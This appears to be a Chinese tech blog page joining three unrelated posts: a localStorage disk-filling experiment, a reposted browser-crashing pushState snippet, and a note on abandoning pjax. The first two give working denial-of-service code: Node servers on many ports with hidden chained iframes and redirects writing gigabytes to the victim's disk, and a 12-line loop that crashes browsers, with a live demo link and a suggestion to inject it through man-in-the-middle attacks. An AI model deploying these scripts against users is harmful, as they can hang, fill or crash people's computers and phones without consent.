作为一个前端,可以如何机智地弄坏一台电脑? 代码人生
有人说,前端的界限就在浏览器那儿。
无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…
这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题。
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。
起因
故事得从localStorage说起。
html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。
对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。
那么问题就变成:这样的限制足够保护用户硬盘了吗?
关键
关键的问题在于,这一限制,针对的是一个域名+端口
。
也就是说,你访问同一个域名的不同端口
,它们的localStorage并无关联,是分开存储的。
我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000
到http://127.0.0.1:1099
这100个端口,会请求到同一个页面:index.html
:
var http = require('http'); var fs = require('fs'); //100个端口 for(var port = 1000; port< 1100; port++){ http.createServer(function (request, response) { //请忽略这种循环读文件的方式,只为了简便 fs.readFile('./index.html', function(err, content){ if(err) { } else { response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); response.write(content); response.end(); } }); }).listen(port, '127.0.0.1'); }
当然,这个index.html里涉及了localStorage写操作。
var s = ""; //慢慢来,别写太大了,好害怕… for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem("testData", s);
我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。
自动遍历
但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口
?
iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000
,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001
,一直循环下去。
var Main = (function(){ var _key = "testData"; var _max = 1100; //最大限制 return { init: function(){ //慢慢来,别写太大了,好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; //新添加iframe var url = "http://127.0.0.1:" + port; var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } })();
当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。
然后我就看到请求如潮水渐涨:
但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。
防止浏览器崩溃
C盘还未撑满,同志还需努力。怎么办?
突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href
重定向一次,去确保浏览器不崩溃。
var Main = (function(){ var _key = "testData"; var _max = 1200; //最大限制 var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转 return { init: function(){ //慢慢来,别写太大了,好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; if(port % _jumpSpace == 0){ //每50个,重定向一次 window.location.href = url; }else{ //新添加iframe var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } } })();
事实证明,这种蛮拼的方法的确可行。
至此,只要访问http://127.0.0.1: 1000
,就会往Local Storage文件夹里写入近500M无用数据:
里面的数据是这样的:
继续实验的黑科技
算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。
在后续的实验中,我就慢慢的把端口数量与存储的数据调大。
电脑也运行得越来越慢。这是为什么呢?
我观察到,有时候执行localStorage.setItem()
后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。
但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。
遭遇黑科技的人们能做的只有:
- 等待;
- 用任务管理器关掉chrome进程,再等待;
- 相信并尝试“重启电脑解决90%电脑问题”的科学论断
可以说,浏览器的内心几乎是崩溃的。
最后
最后,还是得用严肃脸告诫一下:害人之心不可有。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷
去做的(是的就是这么纯粹)。
后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。
那么问题来了,计算机修理哪家强?
有点急…
原文地址:http://litten.github.io/2015/07/06/hack-in-localstorage/
HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启 代码人生
使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启?!
起因
今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:
Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit //使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。
完整HTML代码如下:
<html> <body> <script> var total=""; for (var i=0;i<1000000;i++) { total= total+i.toString(); history.pushState(0,0,total); } </script> </body> </html>
demo:(温馨提示:请保存浏览器其它窗口的编辑任务)
http://api.mrxn.net/demo.html (点击一下,又不会怀孕!)
接来下会发生什么?
点开以后,我的状态是这样的:
如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…
思考
这是Bug还是0day?为什么会有这一现象?如何实现的?
有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的...)
欢迎大家在评论中发表自己的观点
博客决定取消使用pjax技术加载页面,简单分析 PHP
pjax是对ajax + pushState的封装,让你可以很方便的使用pushState技术。
同时支持了缓存和本地存储,下次访问的时候直接读取本地数据,无需在次访问。
并且展现方式支持动画技术,可以使用系统自带的动画方式,也可以自定义动画展现方式。
这是它的开源主页 : https://github.com/welefen/pjax
我的博客也在前不久使用这项技术,具体的教程请前往Finlly博客查看:关于PJAX局部刷新 ;
但是使用之后,发现有如下几个问题:
1:我得服务器资源占用比不使用pjax之前多了30%,大神勿笑,也可能是我小菜不会优化;
2:加载之后会发现,会出现不能够加载其他的js,比如不能够加载第三方分享的js文件,或者是代码高亮插件的js,导致代码的高亮,复制,又或者是图片highslide插件等功能失效;
下面几点来至于互联网:
3:这个技术使用的场景很受限制,据我所知真正用这个技术的网站很少
因为html5的新api:pushState和replaceState的出现,让url脱离了#号。更重要的是支持了浏览器前进后退的事件触发onpopstate
4:不利于SEO,当然,你可以针对爬虫做处理,但那是自找麻烦
5:不同页面引用的资源很可能不同,切换页面需要动态加载新的js和css,容易和旧的CSS和JS产生冲突
6:不刷新页面,意味着页面占用的资源得不到释放,如果有内存泄露问题,页面会越来越卡
不知道各位有什么好的优化方案没,或者是在使用pjax过程中有哪些问题。
题外话:还是HTML5方便,赶紧学习html5,因为html5的新api:pushState和replaceState的出现,支持浏览器前进后退的事件触发onpopstate,pushState的功能具体来说就是修改url而页面无跳转,并且该url会被存放在历史记录中
当然为了满足某些需要你不需要存放在历史记录中就需要使用replaceState
而浏览器上前进和后退都会触发onpopstate能获取你设置的State对象
拿welefen的pjax说下原理:
1.在用户超链请求的时候拦截超链
2.拦截后同时发出两种行为 ajax请求 以及 pushState
实际上他的设计是线性的,在超链被拦截后才会触发。
我更倾向于观察者模式,state被改变的时候触发。
如果你真的想用在项目中我推荐你直接使用 balupton/history.js · GitHub
在不支持html5的浏览器上采用了hash作为代替并且监听了statechange事件